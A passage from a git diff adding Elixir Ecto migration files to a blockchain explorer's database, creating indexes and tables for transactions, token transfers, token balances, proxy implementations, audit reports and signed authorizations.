consensus_block_hashes_refetch_needed; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231225113850_transactions_asc_indices.exs b/apps/explorer/priv/repo/migrations/20231225113850_transactions_asc_indices.exs new file mode 100644 index 000000000000..b0f668e89cd5 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231225113850_transactions_asc_indices.exs @@ -0,0 +1,47 @@ +defmodule Explorer.Repo.Migrations.TransactionsAscIndices do + use Ecto.Migration + + def change do + create( + index( + :transactions, + [ + :from_address_hash, + "block_number ASC NULLS LAST", + "index ASC NULLS LAST", + "inserted_at ASC", + "hash DESC" + ], + name: "transactions_from_address_hash_with_pending_index_asc" + ) + ) + + create( + index( + :transactions, + [ + :to_address_hash, + "block_number ASC NULLS LAST", + "index ASC NULLS LAST", + "inserted_at ASC", + "hash DESC" + ], + name: "transactions_to_address_hash_with_pending_index_asc" + ) + ) + + create( + index( + :transactions, + [ + :created_contract_address_hash, + "block_number ASC NULLS LAST", + "index ASC NULLS LAST", + "inserted_at ASC", + "hash DESC" + ], + name: "transactions_created_contract_address_hash_with_pending_index_a" + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231225115026_logs_asc_index.exs b/apps/explorer/priv/repo/migrations/20231225115026_logs_asc_index.exs new file mode 100644 index 000000000000..7e7fc0963d6a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231225115026_logs_asc_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.LogsAscIndex do + use Ecto.Migration + + def change do + create(index(:logs, ["block_number ASC, index ASC"])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231225115100_token_transfers_asc_index.exs b/apps/explorer/priv/repo/migrations/20231225115100_token_transfers_asc_index.exs new file mode 100644 index 000000000000..084ce83adb35 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231225115100_token_transfers_asc_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.TokenTransfersAscIndex do + use Ecto.Migration + + def change do + create(index(:token_transfers, ["block_number ASC", "log_index ASC"])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231227170848_add_proxy_verification_status.exs b/apps/explorer/priv/repo/migrations/20231227170848_add_proxy_verification_status.exs new file mode 100644 index 000000000000..0b20b0a914e2 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231227170848_add_proxy_verification_status.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Migrations.AddProxyVerificationStatus do + use Ecto.Migration + + def change do + create table("proxy_smart_contract_verification_statuses", primary_key: false) do + add(:uid, :string, size: 64, primary_key: true) + add(:status, :int2, null: false) + + add( + :contract_address_hash, + references(:smart_contracts, column: :address_hash, on_delete: :delete_all, type: :bytea) + ) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20231229120232_add_smart_contract_audit_reports_table.exs b/apps/explorer/priv/repo/migrations/20231229120232_add_smart_contract_audit_reports_table.exs new file mode 100644 index 000000000000..3b5880acfb8a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231229120232_add_smart_contract_audit_reports_table.exs @@ -0,0 +1,39 @@ +defmodule Explorer.Repo.Migrations.AddSmartContractAuditReportsTable do + use Ecto.Migration + + def change do + create table(:smart_contract_audit_reports) do + add(:address_hash, references(:smart_contracts, column: :address_hash, on_delete: :delete_all, type: :bytea), + null: false + ) + + add(:is_approved, :boolean, default: false) + add(:submitter_name, :string, null: false) + add(:submitter_email, :string, null: false) + add(:is_project_owner, :boolean, default: false) + + add(:project_name, :string, null: false) + add(:project_url, :string, null: false) + + add(:audit_company_name, :string, null: false) + add(:audit_report_url, :string, null: false) + add(:audit_publish_date, :date, null: false) + + add(:request_id, :string, null: true) + + add(:comment, :text, null: true) + + timestamps() + end + + create(index(:smart_contract_audit_reports, [:address_hash])) + + create( + unique_index( + :smart_contract_audit_reports, + [:address_hash, :audit_report_url, :audit_publish_date, :audit_company_name], + name: :audit_report_unique_index + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240103094720_constrain_null_date_market_history.exs b/apps/explorer/priv/repo/migrations/20240103094720_constrain_null_date_market_history.exs new file mode 100644 index 000000000000..ab43538e4e1e --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240103094720_constrain_null_date_market_history.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.ConstrainNullDateMarketHistory do + use Ecto.Migration + + def change do + alter table(:market_history) do + modify(:date, :date, null: false, from: {:date, null: true}) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240114181404_enhanced_unfetched_token_balances_index.exs b/apps/explorer/priv/repo/migrations/20240114181404_enhanced_unfetched_token_balances_index.exs new file mode 100644 index 000000000000..dcab0dc92050 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240114181404_enhanced_unfetched_token_balances_index.exs @@ -0,0 +1,20 @@ +defmodule Explorer.Repo.Migrations.EnhancedUnfetchedTokenBalancesIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def up do + execute(""" + CREATE INDEX CONCURRENTLY unfetched_address_token_balances_index on address_token_balances(id) + WHERE ( + ((address_hash != '\\x0000000000000000000000000000000000000000' AND token_type = 'ERC-721') OR token_type = 'ERC-20' OR token_type = 'ERC-1155') AND (value_fetched_at IS NULL OR value IS NULL) + ); + """) + end + + def down do + execute(""" + DROP INDEX unfetched_address_token_balances_index; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240122102141_add_token_type_to_token_transfers.exs b/apps/explorer/priv/repo/migrations/20240122102141_add_token_type_to_token_transfers.exs new file mode 100644 index 000000000000..7ba7ddff029b --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240122102141_add_token_type_to_token_transfers.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.AddTokenTypeToTokenTransfers do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + alter table(:token_transfers) do + add_if_not_exists(:token_type, :string) + end + + create_if_not_exists(index(:token_transfers, :token_type, concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240123102336_add_tokens_cataloged_index.exs b/apps/explorer/priv/repo/migrations/20240123102336_add_tokens_cataloged_index.exs new file mode 100644 index 000000000000..b0157fb6a9c5 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240123102336_add_tokens_cataloged_index.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Migrations.AddTokensCatalogedIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create( + index( + :tokens, + ~w(cataloged)a, + name: :uncataloged_tokens, + where: ~s|"cataloged" = false|, + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240129112623_add_smart_contract_license_type.exs b/apps/explorer/priv/repo/migrations/20240129112623_add_smart_contract_license_type.exs new file mode 100644 index 000000000000..91bea9e1b861 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240129112623_add_smart_contract_license_type.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddSmartContractLicenseType do + use Ecto.Migration + + def change do + alter table("smart_contracts") do + add(:license_type, :int2, null: false, default: 1) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240219143204_add_volume_24h_to_tokens.exs b/apps/explorer/priv/repo/migrations/20240219143204_add_volume_24h_to_tokens.exs new file mode 100644 index 000000000000..cf3c9ad7b3b8 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240219143204_add_volume_24h_to_tokens.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddVolume24hToTokens do + use Ecto.Migration + + def change do + alter table(:tokens) do + add(:volume_24h, :decimal) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240219152810_add_block_consensus_to_token_transfers.exs b/apps/explorer/priv/repo/migrations/20240219152810_add_block_consensus_to_token_transfers.exs new file mode 100644 index 000000000000..253c952ba4ea --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240219152810_add_block_consensus_to_token_transfers.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.AddBlockConsensusToTokenTransfers do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + alter table(:token_transfers) do + add_if_not_exists(:block_consensus, :boolean, default: true) + end + + create_if_not_exists(index(:token_transfers, :block_consensus, concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240224112210_create_index_pending_block_operations_block_number.exs b/apps/explorer/priv/repo/migrations/20240224112210_create_index_pending_block_operations_block_number.exs new file mode 100644 index 000000000000..ad590ae77aa6 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240224112210_create_index_pending_block_operations_block_number.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.CreateIndexPendingBlockOperationsBlockNumber do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists(index(:pending_block_operations, :block_number, concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240226074456_create_massive_blocks.exs b/apps/explorer/priv/repo/migrations/20240226074456_create_massive_blocks.exs new file mode 100644 index 000000000000..824a4f8f271c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240226074456_create_massive_blocks.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.CreateMassiveBlocks do + use Ecto.Migration + + def change do + create table(:massive_blocks, primary_key: false) do + add(:number, :bigint, primary_key: true) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240226151331_add_secondary_coin_market_history.exs b/apps/explorer/priv/repo/migrations/20240226151331_add_secondary_coin_market_history.exs new file mode 100644 index 000000000000..799cf62ab01c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240226151331_add_secondary_coin_market_history.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.AddSecondaryCoinMarketHistory do + use Ecto.Migration + + def change do + alter table(:market_history) do + add(:secondary_coin, :boolean, default: false) + end + + drop_if_exists(unique_index(:market_history, [:date])) + create(unique_index(:market_history, [:date, :secondary_coin])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240227115149_add_smart_contracts_name_text_index.exs b/apps/explorer/priv/repo/migrations/20240227115149_add_smart_contracts_name_text_index.exs new file mode 100644 index 000000000000..8cf53911574d --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240227115149_add_smart_contracts_name_text_index.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.AddSmartContractsNameTextIndex do + use Ecto.Migration + + def up do + execute(""" + CREATE INDEX IF NOT EXISTS smart_contracts_trgm_idx ON smart_contracts USING GIN (to_tsvector('english', name)) + """) + end + + def down do + execute("DROP INDEX IF EXISTS smart_contracts_trgm_idx") + end +end diff --git a/apps/explorer/priv/repo/migrations/20240308123508_token_transfers_add_from_address_hash_block_number_index.exs b/apps/explorer/priv/repo/migrations/20240308123508_token_transfers_add_from_address_hash_block_number_index.exs new file mode 100644 index 000000000000..5d7d27f14474 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240308123508_token_transfers_add_from_address_hash_block_number_index.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.TokenTransfersAddFromAddressHashBlockNumberIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists(index(:token_transfers, [:from_address_hash, :block_number], concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240313195728_token_transfers_add_to_address_hash_block_number_index.exs b/apps/explorer/priv/repo/migrations/20240313195728_token_transfers_add_to_address_hash_block_number_index.exs new file mode 100644 index 000000000000..cef07e10e777 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240313195728_token_transfers_add_to_address_hash_block_number_index.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.TokenTransfersAddToAddressHashBlockNumberIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists(index(:token_transfers, [:to_address_hash, :block_number], concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240322115647_create_address_contract_code_fetch_attempts_table.exs b/apps/explorer/priv/repo/migrations/20240322115647_create_address_contract_code_fetch_attempts_table.exs new file mode 100644 index 000000000000..94799ad1d9b9 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240322115647_create_address_contract_code_fetch_attempts_table.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.CreateAddressContractCodeFetchAttemptsTable do + use Ecto.Migration + + def change do + create table(:address_contract_code_fetch_attempts, primary_key: false) do + add(:address_hash, :bytea, null: false, primary_key: true) + add(:retries_number, :smallint) + + timestamps() + end + + create(index(:address_contract_code_fetch_attempts, [:address_hash])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240325195446_add_verified_via_verifier_alliance.exs b/apps/explorer/priv/repo/migrations/20240325195446_add_verified_via_verifier_alliance.exs new file mode 100644 index 000000000000..8849626e98b2 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240325195446_add_verified_via_verifier_alliance.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddVerifiedViaVerifierAlliance do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:verified_via_verifier_alliance, :boolean, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240403151125_enhance_index_for_token_transfers_list.exs b/apps/explorer/priv/repo/migrations/20240403151125_enhance_index_for_token_transfers_list.exs new file mode 100644 index 000000000000..78fe6192e578 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240403151125_enhance_index_for_token_transfers_list.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.EnhanceIndexForTokenTransfersList do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists( + index(:token_transfers, ["token_contract_address_hash, block_number DESC, log_index DESC"], concurrently: true) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240403151126_drop_outdated_index_for_token_transfers_list.exs b/apps/explorer/priv/repo/migrations/20240403151126_drop_outdated_index_for_token_transfers_list.exs new file mode 100644 index 000000000000..4e9f524aebc6 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240403151126_drop_outdated_index_for_token_transfers_list.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.DropOutdatedIndexForTokenTransfersList do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + drop_if_exists(index(:token_transfers, [:token_contract_address_hash, :block_number], concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240404102510_enhance_index_for_token_holders_list.exs b/apps/explorer/priv/repo/migrations/20240404102510_enhance_index_for_token_holders_list.exs new file mode 100644 index 000000000000..b547e833734a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240404102510_enhance_index_for_token_holders_list.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.EnhanceIndexForTokenHoldersList do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists( + index(:address_current_token_balances, ["token_contract_address_hash, value DESC, address_hash DESC"], + where: "address_hash != '\\x0000000000000000000000000000000000000000' AND value > 0", + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240404102511_drop_outdated_index_for_token_holders_list.exs b/apps/explorer/priv/repo/migrations/20240404102511_drop_outdated_index_for_token_holders_list.exs new file mode 100644 index 000000000000..85eda9d17f71 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240404102511_drop_outdated_index_for_token_holders_list.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.DropOutdatedIndexForTokenHoldersList do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + drop_if_exists( + index(:address_current_token_balances, [:token_contract_address_hash], + where: "address_hash != '\\x0000000000000000000000000000000000000000' AND value > 0", + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240417141515_smart_contracts_add_certified_flag.exs b/apps/explorer/priv/repo/migrations/20240417141515_smart_contracts_add_certified_flag.exs new file mode 100644 index 000000000000..581bdd9d3a5a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240417141515_smart_contracts_add_certified_flag.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.SmartContractsAddCertifiedFlag do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + alter table("smart_contracts") do + add(:certified, :boolean, null: true) + end + + create_if_not_exists(index(:smart_contracts, [:certified])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240418135458_fix_index_for_unfetched_token_balances.exs b/apps/explorer/priv/repo/migrations/20240418135458_fix_index_for_unfetched_token_balances.exs new file mode 100644 index 000000000000..6b6f58f9cdca --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240418135458_fix_index_for_unfetched_token_balances.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Repo.Migrations.FixIndexForUnfetchedTokenBalances do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists( + index(:address_token_balances, ["id"], + name: "unfetched_address_token_balances_v2_index", + where: + "((address_hash != '\\x0000000000000000000000000000000000000000' AND token_type = 'ERC-721') OR token_type = 'ERC-20' OR token_type = 'ERC-1155' OR token_type = 'ERC-404') AND (value_fetched_at IS NULL OR value IS NULL)", + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240418140425_drop_outdated_index_for_unfetched_token_balances.exs b/apps/explorer/priv/repo/migrations/20240418140425_drop_outdated_index_for_unfetched_token_balances.exs new file mode 100644 index 000000000000..0b1a05f4fcc4 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240418140425_drop_outdated_index_for_unfetched_token_balances.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Migrations.DropOutdatedIndexForUnfetchedTokenBalances do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + drop_if_exists( + index( + :address_token_balances, + ~w(id)a, + name: :unfetched_address_token_balances_index, + where: + "((address_hash != '\\x0000000000000000000000000000000000000000' AND token_type = 'ERC-721') OR token_type = 'ERC-20' OR token_type = 'ERC-1155') AND (value_fetched_at IS NULL OR value IS NULL)", + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240419095711_add_proxy_implementations_table.exs b/apps/explorer/priv/repo/migrations/20240419095711_add_proxy_implementations_table.exs new file mode 100644 index 000000000000..5b60caa470ca --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240419095711_add_proxy_implementations_table.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.AddProxyImplementationsTable do + use Ecto.Migration + + def change do + create table(:proxy_implementations, primary_key: false) do + add(:proxy_address_hash, :bytea, null: false, primary_key: true) + add(:address_hashes, {:array, :bytea}, null: false) + add(:names, {:array, :string}, null: false) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240419101821_migrate_proxy_implementations.exs b/apps/explorer/priv/repo/migrations/20240419101821_migrate_proxy_implementations.exs new file mode 100644 index 000000000000..2210d341b7de --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240419101821_migrate_proxy_implementations.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.MigrateProxyImplementations do + use Ecto.Migration + + def change do + execute(""" + INSERT INTO proxy_implementations(proxy_address_hash, address_hashes, names, inserted_at, updated_at) + SELECT address_hash, ARRAY [implementation_address_hash], CASE WHEN implementation_name IS NULL THEN '{}' ELSE ARRAY [implementation_name] END, implementation_fetched_at, implementation_fetched_at + FROM smart_contracts + WHERE implementation_fetched_at IS NOT NULL + AND implementation_address_hash IS NOT NULL + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240419102345_drop_implementation_fields_from_smart_contract_table.exs b/apps/explorer/priv/repo/migrations/20240419102345_drop_implementation_fields_from_smart_contract_table.exs new file mode 100644 index 000000000000..3030a6bae266 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240419102345_drop_implementation_fields_from_smart_contract_table.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.DropImplementationFieldsFromSmartContractTable do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + remove(:implementation_address_hash) + remove(:implementation_fetched_at) + remove(:implementation_name) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240425091614_add_proxy_type_column.exs b/apps/explorer/priv/repo/migrations/20240425091614_add_proxy_type_column.exs new file mode 100644 index 000000000000..3add30af7ac1 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240425091614_add_proxy_type_column.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Repo.Migrations.AddProxyTypeColumn do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE proxy_type AS ENUM ('eip1167', 'eip1967', 'eip1822', 'eip930', 'master_copy', 'basic_implementation', 'basic_get_implementation', 'comptroller', 'unknown')", + "DROP TYPE proxy_type" + ) + + alter table(:proxy_implementations) do + add(:proxy_type, :proxy_type, null: true) + end + + create(index(:proxy_implementations, [:proxy_type])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240425185705_alter_proxy_type.exs b/apps/explorer/priv/repo/migrations/20240425185705_alter_proxy_type.exs new file mode 100644 index 000000000000..91459cb8294c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240425185705_alter_proxy_type.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.AlterProxyType do + use Ecto.Migration + + def change do + execute("ALTER TYPE proxy_type ADD VALUE 'eip2535' BEFORE 'unknown'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20240501131140_new_proxy_type_clones_with_immutable_arguments.exs b/apps/explorer/priv/repo/migrations/20240501131140_new_proxy_type_clones_with_immutable_arguments.exs new file mode 100644 index 000000000000..55d3d3b9a404 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240501131140_new_proxy_type_clones_with_immutable_arguments.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.NewProxyTypeClonesWithImmutableArguments do + use Ecto.Migration + + def change do + execute("ALTER TYPE proxy_type ADD VALUE 'clone_with_immutable_arguments' BEFORE 'unknown'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20240502064431_create_missing_balance_of_tokens.exs b/apps/explorer/priv/repo/migrations/20240502064431_create_missing_balance_of_tokens.exs new file mode 100644 index 000000000000..a75513c02749 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240502064431_create_missing_balance_of_tokens.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.CreateMissingBalanceOfTokens do + use Ecto.Migration + + def change do + create table(:missing_balance_of_tokens, primary_key: false) do + add(:token_contract_address_hash, :bytea, primary_key: true) + add(:block_number, :bigint) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240503091708_add_nft_instance_fetcher_aux_fields.exs b/apps/explorer/priv/repo/migrations/20240503091708_add_nft_instance_fetcher_aux_fields.exs new file mode 100644 index 000000000000..29195625806f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240503091708_add_nft_instance_fetcher_aux_fields.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Migrations.AddNftInstanceFetcherAuxFields do + use Ecto.Migration + + def change do + alter table(:token_instances) do + add(:refetch_after, :utc_datetime_usec, null: true) + add(:retries_count, :smallint, default: 0, null: false) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240509014500_smart_contracts_add_is_blueprint_flag.exs b/apps/explorer/priv/repo/migrations/20240509014500_smart_contracts_add_is_blueprint_flag.exs new file mode 100644 index 000000000000..f5d362e519a1 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240509014500_smart_contracts_add_is_blueprint_flag.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.SmartContractsAddIsBlueprintFlag do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:is_blueprint, :boolean, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240520075414_create_token_instance_metadata_refetch_attempts_table.exs b/apps/explorer/priv/repo/migrations/20240520075414_create_token_instance_metadata_refetch_attempts_table.exs new file mode 100644 index 000000000000..5d15ef1db24f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240520075414_create_token_instance_metadata_refetch_attempts_table.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.CreateTokenInstanceMetadataRefetchAttemptsTable do + use Ecto.Migration + + def change do + create table(:token_instance_metadata_refetch_attempts, primary_key: false) do + add(:token_contract_address_hash, :bytea, null: false, primary_key: true) + add(:token_id, :numeric, precision: 78, scale: 0, null: false, primary_key: true) + add(:retries_number, :smallint) + + timestamps() + end + + create(index(:token_instance_metadata_refetch_attempts, [:token_contract_address_hash, :token_id])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240527152734_add_currently_implemented_to_missing_balance_of_tokens.exs b/apps/explorer/priv/repo/migrations/20240527152734_add_currently_implemented_to_missing_balance_of_tokens.exs new file mode 100644 index 000000000000..84b8e02cf431 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240527152734_add_currently_implemented_to_missing_balance_of_tokens.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddCurrentlyImplementedToMissingBalanceOfTokens do + use Ecto.Migration + + def change do + alter table(:missing_balance_of_tokens) do + add(:currently_implemented, :boolean) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240708152519_add_nft_media_urls.exs b/apps/explorer/priv/repo/migrations/20240708152519_add_nft_media_urls.exs new file mode 100644 index 000000000000..f39aec152f97 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240708152519_add_nft_media_urls.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.AddNFTMediaUrls do + use Ecto.Migration + + def change do + alter table(:token_instances) do + add(:thumbnails, :jsonb, null: true) + add(:media_type, :string, null: true) + add(:cdn_upload_error, :string, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240718150123_add_no_overlap_index_to_missing_block_ranges.exs b/apps/explorer/priv/repo/migrations/20240718150123_add_no_overlap_index_to_missing_block_ranges.exs new file mode 100644 index 000000000000..7f569610b1cb --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240718150123_add_no_overlap_index_to_missing_block_ranges.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.AddNoOverlapIndexToMissingBlockRanges do + use Ecto.Migration + + def change do + create( + constraint(:missing_block_ranges, :missing_block_ranges_no_overlap, + exclude: ~s|gist (int4range(to_number, from_number, '[]') WITH &&)| + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240806162644_add_contract_methods_inserted_at_index.exs b/apps/explorer/priv/repo/migrations/20240806162644_add_contract_methods_inserted_at_index.exs new file mode 100644 index 000000000000..b025f59ebe37 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240806162644_add_contract_methods_inserted_at_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.AddContractMethodsInsertedAtIndex do + use Ecto.Migration + + def change do + create(index(:contract_methods, [:inserted_at])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240828140638_add_token_balance_retry_fields.exs b/apps/explorer/priv/repo/migrations/20240828140638_add_token_balance_retry_fields.exs new file mode 100644 index 000000000000..3d1fddf8bb8f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240828140638_add_token_balance_retry_fields.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Migrations.AddTokenBalanceRetryFields do + use Ecto.Migration + + def change do + alter table(:address_token_balances) do + add(:refetch_after, :utc_datetime_usec) + add(:retries_count, :smallint) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240830142652_add_meta_to_migrations_status.exs b/apps/explorer/priv/repo/migrations/20240830142652_add_meta_to_migrations_status.exs new file mode 100644 index 000000000000..f17486215b9c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240830142652_add_meta_to_migrations_status.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddMetaToMigrationsStatus do + use Ecto.Migration + + def change do + alter table(:migrations_status) do + add(:meta, :map) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240904161254_create_signed_authorizations.exs b/apps/explorer/priv/repo/migrations/20240904161254_create_signed_authorizations.exs new file mode 100644 index 000000000000..e37cd4297f50 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240904161254_create_signed_authorizations.exs @@ -0,0 +1,25 @@ +defmodule Explorer.Repo.Migrations.CreateSignedAuthorizations do + use Ecto.Migration + + def change do + create table(:signed_authorizations, primary_key: false) do + add(:transaction_hash, references(:transactions, column: :hash, on_delete: :delete_all, type: :bytea), + null: false, + primary_key: true + ) + + add(:index, :integer, null: false, primary_key: true) + add(:chain_id, :bigint, null: false) + add(:address, :bytea, null: false) + add(:nonce, :integer, null: false) + add(:v, :integer, null: false) + add(:r, :numeric, precision: 100, null: false) + add(:s, :numeric, precision: 100, null: false) + add(:authority, :bytea, null: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:signed_authorizations, [:authority, :nonce])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20240910095635_add_address_badges_tables.exs b/apps/explorer/priv/repo/migrations/20240910095635_add_address_badges_tables.exs new file mode 100644 index 000000000000..ba7bbc7db20d --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240910095635_add_address_badges_tables.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.AddAddressBadgesTables do + use Ecto.Migration + + def change do + create 